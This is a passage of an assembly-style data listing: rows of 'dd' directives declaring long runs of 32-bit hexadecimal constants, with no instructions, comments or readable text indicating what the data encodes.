0F58D94F4h, 0A1BFF82Ch dd 14BCF35Eh, 36C4F5BCh, 9B45578Ah, 7D4416A0h, 0B5BBD3C0h dd 43DB3F80h, 7377B671h, 0E2F1881Dh, 9F9DB5DDh, 6E496061h dd 74F8E72Ah, 0A6CE1A40h, 6148C5DEh, 754FA59Dh, 8D52FE8Ah dd 0A0536B57h, 0B7C2A8DAh, 0C727C34Ch, 4A82F210h, 1F76EC12h dd 0AF0336B1h, 68550655h, 588F742Ah, 0F735BF61h, 7A1693A6h dd 0BD01A205h, 6DFFF353h, 93018732h, 4AC404D0h, 0C66EF0EEh dd 0DECECF18h, 93EB3644h, 0C821CF18h, 627E04F5h, 20B9E06h dd 290F127Ch, 7210A792h, 300D1504h, 335420E4h, 4B5BF17Ch dd 4B174DD5h, 0CD04F6ABh, 0DA2BD3A4h, 3DB6CB8Dh, 58429335h dd 8F2EC706h, 574A3742h, 9E72FEBCh, 0B172EF1Bh, 0A540D7EEh dd 0B5ED3A5h, 0A1D240DCh, 83AA5C7Fh, 0BE77D912h, 0FCDF4111h dd 29CCA1CCh, 38E3DAC0h, 0BE0B1153h, 712F328Ch, 93739307h dd 0D06903B5h, 0E942AA3h, 3D993DD0h, 390CAFFAh, 59F265DAh dd 7B3FF78Fh, 78AA5001h, 81BD15DBh, 8214A04Fh, 1150FB83h dd 0B6389A03h, 424E66C7h, 0D15F3D65h, 9FBB3589h, 152A8B03h dd 921E1F9Eh, 2F2EAD29h, 0D7DFF20Dh, 2864E9BCh, 9A0B61ABh dd 0C860172Bh, 71BBA54Eh, 557E4608h, 0F8B37809h, 0BBF691EAh dd 600A852Bh, 0C2CAF41Fh, 0C74014CCh, 0ACF4624Fh, 9795494Ah dd 1F1FF944h, 0ECF14301h, 0E009F1FFh, 0C76774E5h, 69432021h dd 0D460D6E5h, 62D062F2h, 732417D0h, 8AAE8073h, 0FCF64E77h dd 0B9F86E30h, 4F3B5E24h, 6FF8E385h, 0BBC8882h, 0F466226Ch dd 0DAF6A92Ah, 18C06DE1h, 0B1B7EFC9h, 10E07094h, 97B8181Ch dd 15C468FEh, 1CE21A13h, 0BF69020Ch, 46ED146Bh, 0AC6768DFh dd 838D6533h, 0ED7502A7h, 0FBDE7271h, 0F17910A0h, 0DECDC7FDh dd 0F575099Ah, 39F124AFh, 0FD231EDCh, 10FBAE62h, 0A9150609h dd 0E425CB08h, 49FF3B7Eh, 21176A55h, 0EB487367h, 2559C10Fh dd 6CEE91EEh, 0B61C5312h, 0C4EE3E3Dh, 1E06AAB3h, 0CBCD4E24h dd 0DDAFB892h, 1ECAD79Eh, 75975805h, 0C84CBF1Ah, 0C0378F36h dd 4335F77Dh, 0E9601F15h, 0A3D84630h, 84C8C599h, 902B2A2Bh dd 0A79E9882h, 53660ABBh, 90712550h, 4F2AE66Fh, 76738A19h dd 3D2F2DE0h, 0A8A591A3h, 735957EDh, 0A632B037h, 755E9F0Eh dd 32998314h, 3AEF8431h, 0F9101A78h, 899B729Dh, 0E331CBC1h dd 9D5AA5E7h, 2B28BA30h, 0F5090D98h, 0AD5D331Ch, 8629C74Ah dd 0DA5B456Bh, 2202CABFh, 2B921ACAh, 1F6FED34h, 3744B257h dd 0B4B9EE98h, 0D1C761ACh, 2CF7525Eh, 0DB2F59CCh, 241664B2h dd 2F2649C5h, 0CB335A56h, 93506F3Ah, 0F9F57E84h, 6FF31FABh dd 0D82B8E67h, 803B3B47h, 0FD7AE48Fh, 4F068012h, 5E540FFEh dd 63C9FDE6h, 519DB45Ch, 0E19F9741h, 5C8E9AD1h, 795E0C59h dd 0A75C7F39h, 19F8E6A8h, 3C302699h, 33A6858Bh, 0F346570Eh dd 2252F66Bh, 22838F8Dh, 3A1D3728h, 0F27A297Ch, 84513FA9h dd 905470C4h, 0CF3B60AFh, 0B0408AB6h, 0C14CA62Dh, 573FDB9Ah dd 44394CD0h, 0F8373420h, 3A0D4B48h, 4F07FCFCh, 8F1BF0F7h dd 25EDFB8Fh, 6C2CDBB0h, 0F1FBD1C5h, 0D48B36A8h, 0E49F7789h dd 0D9D119Eh, 89EEF1BCh, 87F3D7C6h, 0E5188A6Fh, 48036839h dd 0CE3103F4h, 0A0D179DAh, 25A96FF2h, 7F055AAEh, 67097AB0h dd 560D4150h, 7A0392E6h, 483FF20Ah, 0E52B1376h, 2AC1B1E9h dd 32B32AF1h, 0FCACBDDDh, 76D5EE52h, 286F884Dh, 0AA2FD446h dd 0B27B6BC8h, 3F5AFF54h, 83EF70ACh, 5EDE746Fh, 49B01777h dd 3B27E362h, 0C07130CCh, 0EAE5942Bh, 14101012h, 11569585h dd 82A73DA4h, 6557C51Bh, 52E4F5DDh, 0AB22595Fh, 7A34CD33h dd 6E538D65h, 9CC23DB9h, 7CCB7EB1h, 2732FD9Bh, 0E8C6FAF5h dd 0ADB62C5Ch, 1C9ECF31h, 9EB56B21h, 55EFEC9Ch, 82427833h dd 0D9754F26h, 91200217h, 4287D93h, 8C246B95h, 0B265B20Ah dd 9A977FCDh, 48608C25h, 0E2E786F7h, 0A52C83FAh, 8B84B19Dh dd 0CFE3D9FBh, 0EE40D888h, 5E207004h, 0BA48C140h, 41BAE9D5h dd 6827C2EDh, 0B3F046A4h, 95B8A0EBh, 21C9AF38h, 0E56C0871h dd 0D5F9E328h, 0C5930063h, 0DA30E703h, 32A7EFCFh, 7AC84279h dd 0C1CC9241h, 723A41DDh, 85084322h, 0E76CDE37h, 58C7CB54h dd 0E833E0F8h, 0C1C969B5h, 8D6F4ACAh, 8EC0AEAFh, 6D2032D2h dd 1F607DFBh, 184F1270h, 9B6109ACh, 3D496E59h, 63A63C94h dd 316CA51h, 5F083A62h, 0C390E58Dh, 0B58E55BEh, 0DECE074Fh dd 0CE03E466h, 26BA469Eh, 1F437155h, 0C30C33A3h, 0EC3AA2A1h dd 1F2D548h, 0DC0AF64Bh, 2858E16h, 62EC8EFCh, 0D637213h dd 7F99CB3Ah, 2661D34Eh, 0DF17F939h, 0BBAAB6EFh, 0EC690B1Ch dd 0A75F0C35h, 0DCDEB4FDh, 0F56D024Ch, 34DCB0C2h, 0CAC692C8h dd 0A2F939Bh, 973965Bh, 0A5914461h, 5A5726BCh, 0BFEA2906h dd 88BBA376h, 926F089Fh, 0A65B831Ch, 73DC76D3h, 5873B6BEh dd 0DD7D2CDDh, 4C6A281Dh, 0B176FED1h, 0E63EC4AAh, 0AAE40947h dd 1C9FB965h, 1BA4AA58h, 0CB25D822h, 245149F8h, 6B547A52h dd 31EB66CAh, 8A64F2Bh, 0A67EDA37h, 0F529D003h, 7BC4182Fh dd 90E32397h, 0D36A1618h, 2D95F230h, 0BB863941h, 136FA78h dd 822ED662h, 5A70F0F6h, 7D1D6BBh, 0E92F6EB4h, 0D7D4D53h dd 6D4F7A45h, 402EF2Dh, 0F982F7EDh, 0F7BA493Ch, 287F75C8h dd 795DDAE8h, 8FCC3B9h, 5E7EA1F7h, 0B764A673h, 41BEDF5Fh dd 0E418E678h, 299634B5h, 0B69E5298h, 8DB8C9BBh, 0D487FBA9h dd 7D7CD815h, 2129A63Dh, 0FCCBED90h, 0DC316796h, 170D3B90h dd 0BE2F4999h, 0A8D0F81Fh, 956A64BBh, 6DDC4C39h, 12C6BE97h dd 0A12D0FBAh, 1C11F20Bh, 27683673h, 0A18ABC44h, 0A540286Ah dd 0E240AE54h, 0F7104D2Dh, 5DD2649Dh, 0A3A9BB6Ch, 0E0508024h dd 50FB3ACCh, 0CE168EC8h, 5E627BA7h, 484F4C3Ah, 98E4D87h dd 0ADA0F1E9h, 1B79E32Ah, 0C856F874h, 3303201Fh, 84D572h dd 0D311A429h, 0B678C415h, 7C51377Fh, 0E7574C38h, 0CD7E863Fh dd 74F5F6E1h, 0CD1D6690h, 5A419A8h, 533266D8h, 9C2918B4h dd 9C491701h, 87D2BF4Eh, 1F7D460Bh, 0B9568BEh, 0FD954423h dd 0A2A821B3h, 4B620862h, 0D3500A69h, 0BF93968h, 0D36A7745h dd 0CC3A813Bh, 0A4E7F794h, 0CCDB8B79h, 0A0EB27C0h, 22867B87h dd 2A037501h, 0A4EB765h, 5930A335h, 659BFD82h, 0CDE620EEh dd 1C6D1D03h, 1E6FA4B5h, 38B6A562h, 619AD8C6h, 23ED53B3h dd 27BABB64h, 8CA658F7h, 65847764h, 7D009E99h, 0ECA513A4h dd 0BF2A87F3h, 58502919h, 0C9BA6507h, 0DE6B5655h, 576AA891h dd 0FB7F6445h, 0D8CA3FEDh, 24E40835h, 47FA69Fh, 9FBEE00Ah dd 0C928216Ah, 0F7EE8E55h, 22290CD1h, 89405D14h, 41B5FCC4h dd 624A5122h, 0F3835F90h, 974138F5h, 5862ABD5h, 5324C9E1h dd 0C3D6E99h, 13AD6E8Dh, 55AE77Bh, 70F0B7C2h, 188E0127h dd 1748FE4Ah, 48558DC8h, 48A4248Dh, 0EDD517CDh, 14785123h dd 693A463Eh, 0C15D764Fh, 431C9CAAh, 973A3E03h, 8EE82C64h dd 0D02BE20Ah, 0B42CBD43h, 265DC94Dh, 8D8B42CBh, 0D8CB9CA9h dd 5646C173h, 0A5C1676Dh, 40FBCD4h, 0A9C64A3Ah, 0AF8D3571h dd 0F08A23CDh, 53062DA7h, 4509C79Ch, 0B0BDA82Ch, 2F617192h dd 62B19E0h, 6DA790BCh dd 0ED97C0AEh, 45627577h, 0DC6BBA89h, 0ABDB4B50h, 0E1A5497h dd 0A79257ADh, 3675CDB5h, 0DF8F2B30h, 0A1D3E2DCh, 20C1DC26h dd 0B913B157h, 0B523D8B8h, 1865B82Eh, 0B2CEB6E9h, 48ABA04Fh dd 42926967h, 2567ABE3h, 0CE31326h, 938649Fh, 0D8E1FE8Ah dd 6DF73E71h, 0C70165B4h, 371002B2h, 0EF6D5D65h, 19169129h dd 2E1AC417h, 75C58E21h, 83C7CA7Eh, 47F73DB3h, 1E5D9931h dd 0A31C43A6h, 387D563Ch, 30F09D2Eh, 0E55818BAh, 5789A889h dd 0C8E2D285h, 7783D46h, 11463089h, 28AC66D9h, 0D194B425h dd 0F459476Fh, 0B5DF6E38h, 0D4DEF5A7h, 5F70E7B9h, 4662955Ch dd 6B5811FFh, 0E89A251Eh, 90652C00h, 537937A0h, 621F0E64h dd 0A048F5F6h, 4D44BD6h, 6067B306h, 655B896Dh, 9AF1DDA7h dd 0B3001DC1h, 64BE5611h, 4F166F94h, 0C051A676h, 0E9B92A29h dd 0B830FA26h, 991E5DC9h, 20FEA975h, 8CB0A0ACh, 89860454h dd 6BE2C577h, 792A27C4h, 7AA2C0D7h, 29B7D16Dh, 0AB18DE96h dd 0B67BA172h, 0CFE72040h, 50D18DD0h, 537474D6h, 0BBC51038h dd 2230637h, 0CFAF4E24h, 0FF5C7F23h, 0E8E1B55h, 0FF2E8EB8h dd 3A910C06h, 4EF2C97Ah, 0CBA9F56h, 0DA7236EFh, 3758415Bh dd 0D9AA7EB0h, 0B58853C6h, 0D6846629h, 90B237B9h, 4AD72087h dd 2B7F3C23h, 0BC42FBA8h, 0AE0DBF74h, 931D96D1h, 89FFC724h dd 0E32B0D20h, 58B8B997h, 0FD0F9D1Bh, 532AD125h, 8A6598BEh dd 6F14BB53h, 7226365Ah, 0C9550F4Eh, 0DDC96502h, 84FB850h dd 49C0529Dh, 4D56F9Ch, 0D69C0097h, 0EFB3477h, 0A4142E8Fh dd 0F4CB8A3h, 0E4966CB9h, 0E67EB7C9h, 0F91B0058h, 0A5329B6Dh dd 0DE963066h, 462D1A46h, 7E37C6C7h, 0E6B018B5h, 245EC036h dd 49A225E4h, 28E8DAAAh, 6F5EF025h, 0E6955E7Ah, 1F3D4286h dd 3901DA46h, 53195414h, 0A961C54Dh, 0A067F55Ch, 930F4769h dd 5FE0BE85h, 0FFBCD4DAh, 0AB8D9F9Dh, 49F1CBEAh, 2AE0F2B9h dd 0DA246E28h, 1532E9BCh, 745ABA3Ah, 4485302Ch, 9D78AEB8h dd 0AF56A0E9h, 0C8B5BE60h, 0C37F4ACEh, 0D1B1BCB9h, 5A17A5h dd 1196CD29h, 0FE6A4933h, 6F23C9DAh, 11D94C15h, 8D677908h dd 6636FD88h, 76094CBFh, 27FBDFEBh, 65091E1Bh, 3298D1Dh dd 0F3C7F0BCh, 0CDF81E57h, 42016DA9h, 0B19ED385h, 39CD13D4h dd 82E47690h, 0B3BC89CEh, 0B3DCA030h, 0FDC95D38h, 874304BDh dd 4C4A6E63h, 59338ADBh, 9A18FAC7h, 0AA652148h, 98957B22h dd 7255D067h, 77634C19h, 0E647811Bh, 72B7F88Eh, 0FBEDF63h dd 1590CE88h, 0A8DB9182h, 0AA06DD8Bh, 9041AC53h, 3F9A9A23h dd 90E35C94h, 0DD08006Ah, 87E7570Ah, 235F0047h, 0AFF1BB0Fh dd 0BDA72184h, 0C63706F6h, 63994A51h, 0DD6BD416h, 0D123A080h dd 49F060DAh, 1DE67F5h, 0B01C021Ch, 0AAB7F5CDh, 5362A015h dd 3FBA4E94h, 52A27CBDh, 9A204383h, 0EE633292h, 0C828BBB5h dd 0C90224C3h, 0D09651CEh, 166B693h, 307BC2C7h, 0D44B10A5h dd 0BF40BCA4h, 0CDCF6F62h, 0D0BF97BDh, 0AF09C0FCh, 2B5C51DDh dd 29C09C16h, 0F1C9BB81h, 0A472E3C1h, 98313686h, 758C1711h dd 62F3882Eh, 3F3FF499h, 788B6959h, 0C4CFBFC9h, 27588Fh dd 0EA96DE22h, 265CFC4Eh, 2EBD5CEDh, 0D48E3465h, 9FA09E2Dh dd 36D77D79h, 27F9C398h, 0DB8FF5D6h, 0ECCB04DDh, 5524B81Bh dd 0C1C28EA4h, 0BEDD80Dh, 5AD2F9Ah, 5F46AC71h, 0E07F2744h dd 0BC17D828h, 4F8DF992h, 0A5A528D2h, 453AF283h, 0FE9BF4EBh dd 81725F28h, 6F800BA5h, 65F269DFh, 396893DAh, 170536BAh dd 0CDD8729Bh, 0AA4B007Bh, 20B789A6h, 5D2F4A33h, 0ACFD353Ah dd 507DFD12h, 0D4794D06h, 1BD419B5h, 40731C07h, 509FD5E2h dd 797DAEDh, 1D91A437h, 86D564EEh, 5170B644h, 0AB01F324h dd 8BDD991Ah, 0C0F34BDh, 93BF8E80h, 5368BDA6h, 13ED6518h dd 47637B80h, 0D4653ABDh, 4149AA6Ah, 76B013C6h, 79AD239Eh dd 0E560A0A4h, 44D53E01h, 5BFFFF01h, 0BBF3D4FAh, 63B363BDh dd 0C228FA0Ch, 3511112Ch, 7CDA05C1h, 1F2B4A9Dh, 7BBF4390h dd 664F213Ch, 0CFFB8285h, 855BB2F6h, 2BB3BC8Dh, 498CF8FEh dd 0AFD431E9h, 0E960C201h, 0FAA64163h, 1482B503h, 60BDC55Dh dd 0EEEA986Bh, 0B66852B8h, 0DCF529h, 0C6A43384h, 29F0E436h dd 19D5CC48h, 4D9B342Fh, 659444F5h, 67BA28DFh, 7E3FB929h dd 0FFDA672Fh, 0FF57D733h, 0F4F3FC63h, 9212F00Ch, 4200D030h dd 0A081967h, 0FD62B860h, 46D41001h, 0CFFCFDAAh, 832CF1Fh dd 8A277652h, 0F7C332A3h, 0AF4215CEh, 0AFF71003h, 8D756AB7h dd 4ACC2292h, 32E0C4EFh, 0B96A3AAEh, 8E167956h, 0E5ED938Bh dd 86EC154Eh, 76B23893h, 0D606698h, 0E0D57402h, 38349459h dd 0ED67D3A1h, 0D1A88A15h, 711778B5h, 0A0506FA7h, 414D58B1h dd 84C9E120h, 0A2628B3Bh, 4AD3CE6Dh, 2739CABBh, 660311BAh dd 7930766Fh, 690399FEh, 3B92C128h, 73730A9Bh, 9052C5D4h dd 0C6225CFEh, 765B5D70h, 290F2735h, 9B5483EDh, 0A000998Ch dd 6C96B140h, 0F5F5F9A5h, 65DED2D0h, 1EAD3459h, 0EC6BC86Eh dd 68AFE908h, 0D55CE0EDh, 0BE2A73FEh, 5F571352h, 43453572h dd 0E7CE1512h, 0CD3E83ECh, 0C1EFA23Bh, 4B029F92h, 833EAE34h dd 0E99A5CDEh, 2851078Ah, 0C33CC724h, 76535F68h, 51F03C98h dd 7B4BF476h, 0DAAAF25Fh, 6BEC4E48h, 8B681EF8h, 2266F26Ah dd 0D8934151h, 46A67002h, 0AD7187A3h, 88E9A5A9h, 0D1D49CE9h dd 1D078D3Ch, 5CA28BCBh, 62C0D7F1h, 4C9671D4h, 5257FA87h dd 0D202D540h, 55015C39h, 0D3135105h, 545C7560h, 0B5F4ED55h dd 7E4258FFh, 6B885DC7h, 51C37DA2h, 336CF60Ch, 608479E0h dd 0F2247F24h, 0A6DCF31Fh, 30B2E0E2h, 4AA4F075h, 0DCEADF97h dd 6A116F67h, 7E0C592h, 65D90C4Bh, 9331B951h, 8A96B984h dd 0D4C62541h, 64C9042Eh, 3364417Ah, 547100D6h, 0B4506AF0h dd 0D8CD38B4h, 0CF85A78Eh, 0C37BDBCEh, 0B02BC2FFh, 715430A4h dd 70EFC3C9h, 29288585h, 38FBEAh, 3F0311CAh, 641CF4A1h dd 23FF9E96h, 5F7486B3h, 5A1DBD9Fh, 355D25E0h, 0C3902CE1h dd 77048F94h, 1D1D8AB9h, 549F6502h, 3BA807CBh, 3769D25Bh dd 945F32F5h, 40B0C172h, 8D31DA4Eh, 7C993C5Dh, 77674B24h dd 9866D2B1h, 0A05A052Dh, 9DD896E8h, 0A137D139h, 9ADD513Fh dd 0AD8449ABh, 57D9FCD1h, 84E3A68Bh, 29FC0D6h, 15F519BEh dd 206F11AAh, 0ABA55733h, 9AE7DF51h, 264C0757h, 0BFB74C5Ch dd 97C9CF00h, 43B6D0C4h, 0DD2CF167h, 0A8CD1E35h, 773DB51Dh dd 0B7E0006Dh, 0A458D9B6h, 0DBD361DEh, 0FAEE6Dh, 0C7E2225Eh dd 8BD93A50h, 6705832Fh, 2AD318FDh, 0FDDC5605h, 0D41E52C6h dd 0EB94F236h, 92F75B0h, 0EA4D80F7h, 0E762CAF0h, 9DE3D9DEh dd 48EFCB55h, 5FCF9F67h, 0A2263745h, 60B05706h, 6B44C0F7h dd 0C1C93A13h, 2B0D0D9Bh, 0EBBB351Eh, 325D5CB0h, 0C69AA789h dd 849645FFh, 8D0AF589h, 8E4E6FBFh, 0B7DBA6F8h, 0DE520221h dd 81950805h, 99006D05h, 53584534h, 96904B62h, 7FA49792h dd 0A1A14798h, 3D3102B4h, 0CB8E2DBFh, 0C3C226D2h, 785529A9h dd 3F7EE1DEh, 1948594h, 0CA943A8Ch, 0C831DFC3h, 0C51AEDB9h dd 3F9B61A5h, 0E1E9119Ch, 0B5B8B048h, 4D727A9Eh, 0C5D3490Ah dd 48913A87h, 8E2F9FB8h, 78AE585Ah, 79AA820Dh, 0C8C5D191h dd 5926802Bh, 0EA3CA3EFh, 7D2F61C9h, 0F2613E92h, 40C87D8Fh dd 9ABB2109h, 0BFF84645h dd 0CDFDE942h, 0FB705DE9h, 0FA070803h, 8F561521h, 0F70D834h dd 0A1706514h, 0C2D51DD1h, 0D40AD1AEh, 6367F30Ah, 985C98DEh dd 0F1F8DDDDh, 42CBBA69h, 86A7555Bh, 7A7FF80Fh, 243FF839h dd 88F479C6h, 1229AA47h, 4B6C06CBh, 34B5A949h, 0DBF6602Ah dd 0CB22FC35h, 530840DFh, 0AE6ADF8Fh, 0D1F93FECh, 0A8D1F45h dd 0EADE5B88h, 8809F1ACh, 28643587h, 7DC6B453h, 868CAEFCh dd 2F7C7499h, 0D3754CA3h, 5DB6175Dh, 62B6C35Dh, 9CE32B8Dh dd 86BC4877h, 7AD27270h, 0DA49332Ch, 9B83D892h, 63BE1CAEh dd 0C28F0F33h, 0FE4D881Bh, 47A7A5AFh, 0B0263476h, 1CBCB936h dd 580C1741h, 0FA43090Dh, 9EF875A6h, 36FB12B3h, 0AA2B9CD9h dd 8190EFCEh, 248E05BBh, 522B181Bh, 42D87627h, 854598B3h dd 0CDBAF4A8h, 0BBAD9A50h, 4ADE89D3h, 931AF0F1h, 767CFDC3h dd 52AAD7ADh, 1BC9CEF4h, 0D6C04473h, 25EE8E9Ch, 0DF514037h dd 63B23355h, 0C798A235h, 0E40000A8h, 0C5F9052Bh, 0AF49F1C7h dd 0F0C50C34h, 9EA43544h, 0EEF56749h, 34ECD119h, 4B0DF095h dd 6DD27D36h, 5B926DF7h, 0C57D4FCh, 3A6E68A6h, 13BBC2E9h dd 6EC19565h, 91A0F58Eh, 8DADAEBFh, 2E9F83CAh, 89E3E19Bh dd 0F261E186h, 0D9EBB6CBh, 265EA0A8h, 0DE1C4D52h, 0D5DFA177h dd 20DA8D34h, 0DEE496EDh, 0F6C2059Ch, 0E23875F1h, 598C0D65h dd 0F0EF70ECh, 857B73E6h, 68664564h, 26B2D811h, 1A7B4893h dd 69F0A31h, 0CE8D7EEBh, 67FD113Fh, 0F7056455h, 0E1FC473Bh dd 8AE846D9h, 1D6BB110h, 886F45CEh, 78ACF064h, 8F680BADh dd 0A0678235h, 9A619204h, 2F9464ADh, 46437607h, 577C5B28h dd 3A26D1B6h, 9818846Fh, 8478EF84h, 23441D85h, 3F022D0h dd 1C95382Eh, 38EE5DBh, 0E9109451h, 0E03BCDF6h, 3700DBF3h dd 32519CB4h, 5AA5BB95h, 0A4095285h, 0AF7967E5h, 8D37E520h dd 3F69E45Bh, 91F0E35h, 0F41EEA1Dh, 458B619Dh, 0DBD9CDA9h dd 0B2B54DD3h, 0A3509173h, 0E2B2279Fh, 47F41265h, 0CC3D62A7h dd 1FB68D38h, 9A7EABA4h, 5D90A169h, 576A359Ch, 0CA2D030h dd 0B02890A5h, 0BB3930E4h, 0E53480B3h, 0B2A4437Ch, 54E2E7CCh dd 91FDEAE5h, 17E20E22h, 7D07FCAFh, 0FD4749C5h, 0CDEA1321h dd 690E1E8Fh, 0D201A4DBh, 0F2CAD0CDh, 0C346369Bh, 6CCF031h dd 0A531C298h, 7FA1E56Eh, 0CA7DB7E2h, 27FB55DBh, 0AB8F34EFh dd 0A13F8B0Eh, 0D1128541h, 0A4ABE5FCh, 1B545DFFh, 0B085EFF0h dd 0D6AEABF7h, 0A893BC9Fh, 0CAD33C38h, 0E06A5BBFh, 0AD77E870h dd 61BC5AA3h, 0C1A240ACh, 9B470FFAh, 790460EBh, 5C8804FBh dd 0C206006h, 0B711B711h, 0CB73FE1Dh, 7BD39BDCh, 0A0FD9B7Eh dd 0E2E0C2B3h, 0CD8D5DB3h, 2CED570h, 0E9949BB3h, 762D3995h dd 0E4D2A6Ah, 429A2C3h, 327B664Bh, 640D1FF6h, 0F0151D0Bh dd 0F84211AFh, 0EE93F0B0h, 0D1B1F762h, 377AD681h, 23362191h dd 3791DA06h, 0E52C0F24h, 385CE17Dh, 0B5099579h, 0C7BACCCh dd 883F928Fh, 66B60725h, 0EC56D4BBh, 7B7ED6B1h, 0E00E71BAh dd 1403D3DBh, 0C0506907h, 49FB118Bh, 0BF2024D6h, 540D1B6Ch dd 1DBFE46Ah, 0F3ED179Eh, 0D9F34CE2h, 6A0D2CBh, 251B36C2h dd 0E25F7DC8h, 2D9013Fh, 5CB1BA19h, 0B725D027h, 0DE635E92h dd 98DD83EEh, 8FFED01Fh, 0FF2A909h, 40CB5A76h, 1F0CD388h dd 0D885B101h, 0A1A5F860h, 853EC290h, 0D3968D4Fh, 0EEF39B1Dh dd 4F0392D9h, 0B3DA4D60h, 8735BBA1h, 0DBACB5F5h, 0D1B225AAh dd 7CFE25F3h, 7D0E3D2Ch, 55DC153Ah, 4B75E25Fh, 535C122Dh dd 0A13B95B3h, 1A24C41Bh, 529B2FD9h, 29AB8D02h, 2559DA33h dd 0A21E9C58h, 85C6AB63h, 30DC018Ah, 2CBF8338h, 55F91E12h dd 0D29297AAh, 9B097E73h, 833F93BFh, 3DAC42C4h, 4CA6AED7h dd 55170B52h, 0D1DCF35Ch, 12CD331Dh, 6751D75Bh, 67AACDF2h dd 8ACBEFC4h, 29D0B4FFh, 74881304h, 4B826F3h, 0EFE1DCB8h dd 3D0131F9h, 4D0E9699h, 7F79535Dh, 0FFE29DFCh, 31FBF3DEh dd 1BE612ECh, 86DDB038h, 97C8EDF6h, 0B0EBA47h, 0E2177831h dd 0CE945BB6h, 2B060FC4h, 6E028FEEh, 0DF97535h, 8CB3F69Ah dd 439F0D92h, 1E7188A0h, 1B495846h, 60FFAC46h, 70E9981Eh dd 81CF1751h, 10E7AA4Fh, 0A50D68F2h, 0FA527034h, 4198DFACh dd 90CA44B6h, 0DDD4BFADh, 3D29D9A1h, 0DB7C0DFAh, 0F67A3BEh dd 6BDA9A16h, 4C8970A4h, 73E5F397h, 0A7937045h, 9A2EC89Dh dd 9AAF659Dh, 5BFD0972h, 97403B04h, 0C09A14Ah, 8909CB69h dd 0A4B614Ah, 5A52AA40h, 64E29BDDh, 5BBACC6Dh, 0EAF75E16h dd 0EF7C91B5h, 0FF20B8C9h, 0E6F4DBB6h, 0A2BB3532h, 7B22670Eh dd 6D101E24h, 0E6498354h, 3073B500h, 11898191h, 125A6102h dd 0BBBC9B67h, 6D1B13F3h, 0A460C127h, 6B313567h, 5831F823h dd 0F0D65CE5h, 0FDFEF3CDh, 0D6688CD8h, 0DB5DED49h, 8E041DACh dd 3DC9E0A4h, 9668588Eh, 857D415Fh, 0B3924AFh, 0C574BFB9h dd 5340A99Ah, 3FD17EE9h, 9BC5989Fh, 6F8A0FDh, 6FDE6194h dd 7AF184E6h, 0AB05C662h, 4047A77Dh, 0EFBFEA1Bh, 7FE1A6C3h dd 0B1B31327h, 62EDF595h, 68C9AD15h, 1D625EDEh, 4D27F5DCh dd 0EFCCEE09h, 0A9C23716h, 49F6DDE9h, 0E32323A2h, 0FD664B10h dd 6F1FF837h, 0D29CBE01h, 0C2F665E7h, 0FB2790B7h, 301C4D89h dd 187B67DBh, 0D4CC5FC9h, 625FF072h, 73F9208h, 6D183849h dd 7879F35Fh, 0E19168EEh, 1E69C7BFh, 4BCB845h, 36E31EC3h dd 0E52C5763h, 0B75C7D8Dh, 0AA5D3475h, 52A9A819h, 83E5F86Ch dd 0F47F65CCh, 0D1551422h, 0D2325E6Eh, 0E6CD044h, 82538BB8h dd 840D9D56h, 5CDCEB7Ah, 1F25ABFAh, 6973A03Ch, 0A11D9EC4h dd 78218902h, 1147D43h, 72109BBDh, 5613C77Eh, 41042DDDh dd 0B4D64EC4h, 0D7027870h, 0D43995E0h, 0C4001D02h, 0C11D319Ah dd 35DDDDADh, 7D144CEBh, 6D9D30CDh, 3B045877h, 0A74F6994h dd 8415FE4h, 0E66E2B59h, 64886560h, 8C6F375Ch, 0EF3DFFA9h dd 94EB388Bh, 0A817FD3Fh, 30E6E2B1h, 8F320E7Fh, 0D1060FC0h dd 6642A2CEh, 67865BDFh, 0E1559BA0h, 0C6DCA53Eh, 0D5E8BF44h dd 554ACC99h, 6795CB8Ah, 871D5F9Ah, 0E23E9F02h, 0A68C5513h dd 0F2D070E5h, 5CE62744h, 0E2F3A504h, 0B0838086h, 0F6DF0CCDh dd 1307D236h, 9C69F305h, 28B31B00h, 0EAC285B0h, 91A19AEAh dd 0BEF0B41Eh, 2A30F070h, 0FBA08EA2h, 7BE91813h, 0CC4DB2DAh dd 0E9F2F59Eh, 517EF73Eh, 1D7AFD47h, 7905F3F2h, 8D831448h dd 6E326D3Eh, 5FA8436Dh, 6D46E659h, 0F7630F32h, 3E4D3D3h dd 60666FB7h, 0CD92948Eh, 0ED74BC01h, 33A3A0FEh, 834588B4h dd 88F606E3h, 0FB901E05h, 0EBC615F5h, 544FB798h, 14017080h dd 0EE7DCB64h, 0D1D7FFF2h, 5C4F27BEh, 0FFFFFB9Dh, 665F7A00h dd 5A283A31h, 59941D55h, 26430B1h, 4C3D3074h, 0E86C7A24h dd 906344CEh, 0F461CDFEh, 8187B87Ch, 99B9A1F1h, 0A7E8309h dd 0E2BA970Bh, 31F36FF7h, 6D6D4C71h, 0C985C9C3h, 0C76A127Dh dd 6CA48611h, 0E086D4C5h, 6CB4ECE9h, 62C24778h, 63955EE8h dd 0E205BE9Dh, 1296CBB6h, 47CE7F80h, 268C8367h, 0BD8F1A33h dd 0CE5555D7h, 0F64AAC2Fh, 0A26CC7AAh, 44EEA776h, 0C3474348h dd 0AC2F521Dh, 0B3A27590h, 0C7FE3E48h, 0A01DF376h, 0B5293D28h dd 6472C886h, 0C3E539A6h, 157F8FD1h, 2C9EC62Bh, 0F237C642h dd 3560B4ADh, 0EE2F8584h, 0AB215BC7h, 82F87143h, 0BB6B36D2h dd 19F976CCh, 0B1D21FA0h dd 73A8C87Bh, 0E739A05Dh, 0A9113F04h, 0ABBEDACAh, 1429574Eh dd 14E37FEEh, 90006D2Bh, 0CA3D9EF8h, 36FA2083h, 0D2259121h dd 22206500h, 98FD812Ch, 8C593F11h, 0CC711453h, 3865F3D7h dd 0A99E49ACh, 0DD2AC576h, 4376C6BBh, 0C99DE9C5h, 93C4A9E1h dd 0ADE22E6h, 0E083561Ah, 4DD44A41h, 6DD16AF7h, 9825F56Eh dd 736E9C07h, 7D393C26h, 14442DF6h, 4D320B67h, 0AA0935DEh dd 0B486BD3Fh, 5183D91Ch, 2D9F0C7Bh, 0AE5986B9h, 0F6DBA083h dd 3276309Ch, 2CAC6CEBh, 50983121h, 13034A11h, 7D891D6Bh dd 0B5966764h, 5C00E3CAh, 0D1976D73h, 29D9BBD0h, 1D945072h dd 0A690AC6Ah, 0A9597660h, 566884F8h, 0D0ACF55Bh, 1A995F1Ch dd 2365C134h, 0FD237C71h, 0E2AD70h, 2F86C382h, 7BDE878Ch dd 59DB8E74h, 0F55FE2E7h, 6D9514Fh, 0E3033B64h, 0E8F3B115h dd 139F5FE3h, 74F1127Dh, 75B9172Dh, 62CBAB2h, 1380CC01h dd 8BB27D44h, 